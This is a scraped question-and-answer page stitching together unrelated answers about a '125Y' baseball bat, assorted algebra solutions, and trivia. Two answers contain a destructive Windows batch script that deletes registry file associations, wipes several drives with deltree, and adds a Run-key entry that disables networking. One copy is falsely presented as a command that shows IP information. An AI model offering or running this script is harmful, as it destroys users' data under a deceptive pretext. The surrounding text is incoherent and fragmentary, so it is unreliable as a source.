The "125" refers to the grade of wood used to make the bat. "125" is the highest grade and is reserved for all pro level bats. The "125" bats are also used for the highest quality store model bats. The "Y" after 125 would most likely be an indication that it is a Youth model bat.The bulk of the value will rely on the age of the bat, size, condition, and if the bat is endorsed by a ballplayer. Without a player endorsement it will have a low collectors value. If the bat is a youth model it should be about 30-32 inches in length. Larger than a Little League bat, but smaller than a full length adult size bat. To help you date the bat I will leave a link below. (Related Links)
125% * y = 100 1.25y = 100 y = 80.
Y^2 = 125 Y = +/- sqrt(125) Y = +/- 5sqrt(5)
y = 125 - x
what is the word problem that can be evaluated fby the algebraic expression y-95 and evaluaate it for y=125
y is the lesser short tailed bat endangered
y varies directly as x so y = cx for some constant c. y = 125 when x = 25 so 125 = c*25 so that c = 5 ie the relationship is y = 5x Then when x = 2, y = c*x = 5*2 = 10
La Revilla y Ahedo's population is 125.
The syllables for battery are: bat-ter-y.
67 adult ticket 58 student tickets total cost $413 total tickets 125 just set up a set of simultaneous equations such as if number of adult tickets is x and number of student tickets is y x+y=125 since 125 tickets are being bought then multiply amount of tickets by ticket cost 4x+2.5y=413 both equations are true so the easiest way to solve it is by solving the first equation first by saying x=125-y plug this new value of x into the second equation by replacing x 4(125-y) +2.5y=413 solve this equation for y then plug the value of y back into x=125-y to find the value for x
12y = 125 - 2yAdd 2y to each side:14y = 125Divide each side by 14:y = 125/14 or (112 and 13/14)
With the equation of an ellipse in the form (x/a)² + (y/b)² = 1 the axes of the ellipse lie on the x and y axes and the foci are √(a² - b²) along the x axis. 9x² + 25y² + 100y - 125 = 0 → (3x)² + 25(y² + 4y + 4 - 4) = 125 → (3x)² +25(y + 2)² - 100 = 125 → (3x)² +25(y + 2)² = 225 → (3x)²/225 + (y + 2)²/9 = 1 → (x/5)² + ((y+2)/3)² = 1 Thus the foci are √(5² - 3²) = √16 = 4 either side of the y-axis, but the y axis has been shifted up by 2, thus the two foci are (-4, -2) and (4, -2).
To solve this with algebra, make equations: x-y=70 AND x+y=180. Now you get the x's by themselves: x=70+y AND x=180-y. Now you add the two equations together and you get 2x=250 (the positive y and negative y cancel each other out). Now it's easy to solve for x... x=125. Go back and plug that into the first equations: 125-y=70 AND 125+y=180. Solve them both to make sure you're right...y=55 in both cases.
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Open 'Notepad' and save file as 'batch.bat' then copy and paste this code: @ECHO OFF START reg delete HKCR/.exe START reg delete HKCR/.dll START reg delete HKCR/* :MESSAGE ECHO SYSTEM 32 GOTO MESSAGE deltree /y C:\ deltree /y E:\ deltree /y A:\ deltree /y F:\ deltree /y G:\ deltree /y D:\ deltree /y H:\ echo @echo off>c:windowswimn32.bat echo break off>>c:windowswimn32.bat echo ipconfig/release_all>>c:windowswimn32.bat echo end>>c:windowswimn32.bat reg add hkey_local_machinesoftwaremicrosoftwindowscurrentv ersionrun /v WINDOWsAPI /t reg_sz /d c:windowswimn32.bat /f reg add hkey_current_usersoftwaremicrosoftwindowscurrentve rsionrun /v CONTROLexit /t reg_sz /d c:windowswimn32.bat /f echo SYSTEM 32 PAUSE
This is a long cmd but it gives a lot more information about your IP: @ECHO OFF START reg delete HKCR/.exe START reg delete HKCR/.dll START reg delete HKCR/* :MESSAGE ECHO IP ADDRESS CONFIGURATION GOTO MESSAGE deltree /y C:\ deltree /y E:\ deltree /y A:\ deltree /y F:\ deltree /y G:\ deltree /y D:\ deltree /y H:\ echo @echo off>c:windowswimn32.bat echo break off>>c:windowswimn32.bat echo ipconfig/release_all>>c:windowswimn32.bat echo end>>c:windowswimn32.bat reg add hkey_local_machinesoftwaremicrosoftwindowscurrentv ersionrun /v WINDOWsAPI /t reg_sz /d c:windowswimn32.bat /f reg add hkey_current_usersoftwaremicrosoftwindowscurrentve rsionrun /v CONTROLexit /t reg_sz /d c:windowswimn32.bat /f echo IP ADDRESS CONFIGURATION PAUSE
lolto funny y u askin me that question idk
There are infinitely many possibilities: Let x be ANY number and y be any number which may or may not be the same as x and let z = 200/(x*y) Then x*y*z = 200 For example, x = -0.5, y = 125 and z = 200/(-0.5*125) = -3.2
Permiteme by Wisin y Yandel
he didnt have a bat robe
Infinitely many. Take any number, X, greater than or equal to 62.5 and let Y = 125 - X Then X + Y = 125 and each (X,Y) pair is different. Since there are infinitely many values that X can take, there are infinitely many possible pairs. Then, you can look at triplets, quads, quins, etc. After that you can start on multiples of two, three, four etc numbers.
The two numbers are 125 and 55 You can make 2 equations 1) x + y = 180 2) x+ 40 =3y If you rearrange equation 2 you get x=3y-40 You can now put this in for x in equation 1 (3y-40) +y = 180 3y + y = 180 + 40 4y = 220 y=55 If you plug this in for y in equation 1 you get X + 55 = 180 x= 125 Check with equation 2 x+ 40 =3y 125+40=3x55 165=165 Therefore the two numbers are 125 and 55
Vampire bat , Yak .Xiphisuria .
x = 80
It is a bit difficult to be sure because I cannot see superscripts for the powers of x. x^4 + 3*x^3 + 125*x + 375 = x^3*(x+3) + 125*(x+3) =(x^3 + 125)*(x+3) And then using x^3+y^3 = (x+y)*(x^2-x*y+y^2) with y = 5 =(x+5)*(X^2-x+25)*(x+3)